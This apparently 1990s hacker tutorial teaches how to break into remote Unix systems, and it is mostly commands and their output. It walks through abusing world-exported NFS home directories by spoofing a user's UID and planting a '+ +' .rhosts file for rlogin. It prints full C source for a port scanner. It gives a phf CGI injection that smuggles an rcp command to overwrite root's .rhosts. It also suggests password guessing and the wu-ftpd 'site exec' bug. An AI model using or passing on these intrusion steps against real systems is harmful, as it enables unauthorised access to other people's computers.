Getting access.
_______
Well folks, there are several methods to get access to a site.
I'll try to explain the most used ones.
The first thing I do is see if the system has an export list:
mysite:~>/usr/sbin/showmount -e Slave.site.com
RPC: Program not registered.
If it gives a message like this one, then it's time to search another way
in.
What I was trying to do was to exploit an old security problem by most
SUN OS's that could allow an remote attacker to add a .rhosts to a users
home directory... (That was possible if the site had mounted their home
directory.
Let's see what happens...
mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
mysite:~>ls -sal /tmp/mount
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/
Well, we wanna hack into rapper's home.
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might
forget it on the remote server...
mysite:~>su - rapper
Welcome to rapper's user.
mysite:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/
So we own this guy's home directory...
mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Slave.Site.Com.
SunOs ver....(crap).
victim1:~$
This is the first method...
Another method could be to see if the site has an open 80 port. That would
mean that the site has a web page.
(And that's very bad, 'cuz it usually it's vulnerable).
Below I include the source of a scanner that helped me when NMAP wasn't written.
(Go get it at
http://www.dhp.com/~fyodor. Good job, Fyodor).
NMAP is a scanner that does even stealth scanning, so lots of systems won't
record it.
/* -*-C-*- tcpprobe.c */
/* tcpprobe - report on which tcp ports accept connections */
/* IO ERROR, error@axs.net, Sep 15, 1995 */
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;
if (argc != 2) {
printf("Usage: %s hostname\n", argv[0]);
exit(1);
}
for (i = 1; i < 1024; i++) {
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted. \n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf(" \r");
fflush(stdout);
return (0);
}
Well, now be very carefull with the below exploits, because they usually get
logged.
Besides, if you really wanna get a source file from /cgi-bin/ use this
sintax : lynx
http://www.victim1.com//cgi-bin/fingerIf you don't wanna do that, then do a :
mysite:~>echo "+ +" > /tmp/rhosts
mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+
/root/.rhosts" | nc -v - 20 victim1.site.com 80
then
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~#
Or, maybe, just try to find out usernames and passwords...
The usual users are "test", "guest", and maybe the owner of the site...
I usually don't do such things, but you can...
Or if the site is really old, use that (quote site exec) old bug for
wu.ftpd.
There are a lot of other exploits, like the remote exploits (innd, imap2,
pop3, etc...) that you can find at rootshell.connectnet.com or at
dhp.com/~fyodor.
Enough about this topic. (besides, if you can finger the site, you can
figgure out usernames and maybe by guessing passwords (sigh!) you could get
access to the site).
